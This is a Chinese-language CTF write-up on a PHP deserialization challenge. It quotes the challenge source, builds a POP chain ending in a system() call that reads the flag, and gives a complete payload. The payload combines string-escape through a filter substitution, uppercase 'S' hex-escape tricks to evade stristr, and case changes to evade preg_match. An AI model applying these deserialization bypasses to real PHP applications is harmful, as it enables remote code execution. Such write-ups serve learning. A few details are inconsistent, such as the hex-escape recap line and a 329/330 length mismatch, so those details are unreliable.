您的位置 首页 php

POP链+字符逃逸+stristr绕过

ctfshow前几天举办了一个比赛,其中一题web很是觉得挺好的,讲难也不难但就是很考思路和知识点的积累整合运用

0x00:写在前面

此题挺好的,思路很锻炼人

涉及知识点:反序列化pop链构造、反序列化字符串溢出

一些前置知识

O:5:”Login”:1:{s:8:”username”;O:8:”register”:1:{s:9:”user_name”;s:2:”ee”;}}s:2:”ww”;}

对这样一串序列化的字符串进行反序列化,得到的对象是register的对象

也就是说:我反序列化上面这个序列化字符串后为$a,那么$a->username就是register的对象

注意格式,不能写成如下的(多了个;),否则反序列化报错

O:5:”Login”:1:{s:8:”username”;O:8:”register”:1:{s:9:”user_name”;s:2:”ee”;};}s:2:”ww”;}

那么当然假使register类里有自动能执行的逻辑,比如construct里的system(“ls”),那么当上面反序列化执行完毕后,system也自动执行

反序列化字符逃逸这里不提了,公众号文章写过,可以下翻查看通过原有的过滤机制实现拼接和注入拼接一个道理,拼接掉原有的语句,插入我们的恶意语句

pop链的构造,也在公众号文章写过,个人非常喜欢写反序列化pop链的题目,逻辑性很强就像做游戏一样

所以这题就是利用字符逃逸,实现类中类,也就是构造一个类似上面的那串序列化字符一样,去触发我们的pop链

0x01:开始正题

先一把梭,扫了一下,发现了 hint.php和class.php

hint有如下提示,说明hint,php后端是有东西的,遂罢,继续信息收集

题干说进入后台有惊喜,弱口令admin/admin888 登录成功 得到了这个提示

乍一看没啥用,好似被捉弄了一样,但题干说了登录有惊喜那就多留意一下,查看了一下源代码,搜索了一下php,找到了looKMe.php

访问得到如下源码

分析可知可以文件包含读源码,读取了hint.php源码得到如下新的页面

ezwaf.php、class.php、index.php、lookMe.php,分别读取源码,以下截取有用部分

ezwaf.php

 <?php
function get($data){
$data = str_replace('forfun', chr(0)."*".chr(0), $data);
    return $data;
}
function checkData($data){
    if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
        die("fuc**** hacker!!!\n");
    }
    else{
        return $data;
} }
function checkLogData($data){
    if (preg_match("/register|magic|PersonalFunction/",$data)){
        die("fuc**** hacker!!!!\n");
    }
    else{
        return $data;
} }  

index.php

 <?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    echo $serData;
    $login = unserialize($serData);
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>  

class.php

 <?php
error_reporting(0);

class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}


class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;

    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }

    public function __toString(){
        return $this->mdPwd->pwd;
    }
}

class magic{
    protected $username;

    public function __get($key){
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }

    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }


}

class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();
    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }
    public function checkFunction(array $funcBars) {
        $retData = null;

        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);

        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }
        return $retData;
    }
    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }
    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);

    }
}  

截取完看着舒服多了,本地搭起来开始分析

首先分析ezwaf.php,涉及三个检测函数

第一个get函数,进行匹配替换,将forfun替换为chr(0)*chr(0),相当于6位替换为3位。这里也是反序列化逃逸的关键点

第二个checkData函数,利用stristr函数检测内容是否有username和password。stristr绕过方式如下

注意:strstr是区分大小写的,stristr不区分

 O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析  

第三个checkLogData函数,preg_match没有i模式众所周知区分大小写,大小写绕过即可

再来看index.php的核心代码,逻辑很简单,

 $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
$login = unserialize($serData);  

通过传入账号密码到class.php的Login类进行序列化,且序列化过后的结果进行ezwaf.php三个函数挨个处理,再被反序列化

class.php有四个类,那么能出flag的地方在magic类的getFlag方法里

现在只要想方设法,让程序反序列化到这个magic的getFlag方法内

过了一遍代码,看到了register的__toString方法,且__toString方法内的

 return $this->mdPwd->pwd;  

很明显对应着把$this->mdpwd=new magic(),然后再触发magic的__get魔术方法(请求类里不存在的属性则自动触发),哎~ 是吧 __get方法里 调用了getFlag方法,那么就出了

再看PersonalFunction类里的checkFunction方法,被__destruct方法自动触发,接收一个数组类型,然后和自带的数组进行stristr进行比较,注意!stristr是处理字符串的,那么此时只要让stristr处理我们的register类是不是就自动触发__toString了

所以整个pop链逻辑我们就清楚了,触发流程如下

 PersonalFunction->register->magic
register类里:mdpwd=new magic();
PersonalFunction的checkFunction方法里面的数组参数得是register的对象  

那么此时先来构造一个初步的pop链脚本

 <?php
error_reporting(0);
class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;

    public function __construct(){
        $this->username = "Tkitn";
        $this->password = "123";
        $this->mobile = "133";
        $this->mdPwd = new magic();
    }
}

class magic{
    protected $username="admin";
}

class PersonalFunction{
    protected $username;
    protected $password;
    protected $func;
    public function __construct($func){
        $this->username = "Tkitn";
        $this->password = "123";
        $this->func=$func;
    }
}
$b=new register();
$a=array($b);
$c=new PersonalFunction($a);
echo serialize($c);  

当然啦$c这里需要url编码,因为是protected的,这里只先看效果

 O:16:"PersonalFunction":3:{s:11:"%00*%00username";s:5:"Tkitn";s:11:"%00*%00password";s:3:"123";s:7:"%00*%00func";a:1:{i:0;O:8:"register":4:{s:11:"%00*%00username";s:5:"Tkitn";s:11:"%00*%00password";s:3:"123";s:9:"%00*%00mobile";s:3:"133";s:8:"%00*%00mdPwd";O:5:"magic":1:{s:11:"%00*%00username";s:5:"admin";}}}}  

ok pop链出来以后,再来看index.php的这里逻辑,首先传一个正常账号密码,看一下序列化效果

 O:5:"Login":3:{s:12:"%00*%00user_name";s:5:"admin";s:12:"%00*%00pass_word";s:3:"123";s:8:"%00*%00admin";i:0;}  

上面这个样子,那么我们想要实现一开始说的类中类就是如下格式类型应该怎么办

目标格式

 O:5:"Login":1:{s:8:"username";O:8:"register":1:{s:9:"user_name";s:2:"ee";}}s:2:"ww";}  

很简单,通过ezwaf.php的get函数去逃逸,然后我们自己构造一个新的pass_word,也就是构造成如下,在头部加上”;s:12:”%00*%00pass_word”;s:329:”1 注意这里是30位。

 ";s:5:"admin";s:12:"%00*%00pass_word";O:16:"PersonalFunction":3:{s:11:"%00*%00";s:5:"Tkitn";s:11:"%00*%00password";s:3:"123";s:7:"%00*%00func";a:1:{i:0;O:8:"register":4:{s:11:"%00*%00username";s:5:"Tkitn";s:11:"%00*%00password";s:3:"123";s:9:"%00*%00mobile";s:3:"133";s:8:"%00*%00mdPwd";O:5:"magic":0:{}}}}  

再传入index.php看看效果,这样测试更直观,提高容错性

 O:5:"Login":3:{s:12:"%00*%00user_name";s:5:"admin";s:12:"%00*%00pass_word";s:330:"1";s:12:"%00*%00pass_word";O:16:"PerSonalFuNction":3:{s:11:"%00*%00";s:5:"Tkitn";s:11:"%00*%00\70assword";s:3:"123";s:7:"%00*%00func";a:1:{i:0;O:8:"rEgister":4:{s:11:"%00*%00\75sername";s:5:"Tkitn";s:11:"%00*%00\70assword";s:3:"123";s:9:"%00*%00mobile";s:3:"133";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"%00*%00\75sername";s:5:"admin";}}}}";s:8:"%00*%00admin";i:0;}  

所以我们需要吃掉的就是30位,然后我们的拼接的如下就成功衔接

 ";s:12:"%00*%00pass_word";O:16:"PerSonalFuNction":3:{s:11:"%00*%00username";s:5:"Tkitn";s:11:"%00*%00\70assword";s:3:"123";s:7:"%00*%00func";a:1:{i:0;O:8:"rEgister":4:{s:11:"%00*%00\75sername";s:5:"Tkitn";s:11:"%00*%00\70assword";s:3:"123";s:9:"%00*%00mobile";s:3:"133";s:8:"%00*%00mdPwd";O:5:"magic":1:{S:11:"%00*%00\75sername";s:5:"admin";}}}}  

这里 forfun 6位变为3位,也就是6*n->3*n

我们这里”;s:12:”%00*%00pass_word”;s:329:”1 是30位,那就只需10个forfun即可

还需要绕过:

 register|magic|PersonalFunction  

将这个大小写绕过

 username=\70sername
password=\75assword  

注意序列化里的s要变为S,这样才能解析16进制

所以最终payload

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1″;S:12:”%00*%00pass_word”;O:16:”PerSonalFuNction”:3:{S:11:”%00*%00username”;S:5:”Tkitn”;S:11:”%00*%00\70assword”;S:3:”123″;S:7:”%00*%00func”;a:1:{i:0;O:8:”rEgister”:4:{S:11:”%00*%00\75sername”;S:5:”Tkitn”;S:11:”%00*%00\70assword”;S:3:”123″;S:9:”%00*%00mobile”;S:3:”133″;S:8:”%00*%00mdPwd”;O:5:”Magic”:1:{S:11:”%00*%00\75sername”;S:5:”admin”;}}}}

最终burp传入我们的payload即可出flag

0x03:总结

非常综合的一道题,php反序列化很有意思,结合pop链和字符溢出。很能训练思维能力。

文章来源:智云一二三科技

文章标题:POP链+字符逃逸+stristr绕过

文章地址:https://www.zhihuclub.com/151866.shtml

关于作者: 智云科技

热门文章

网站地图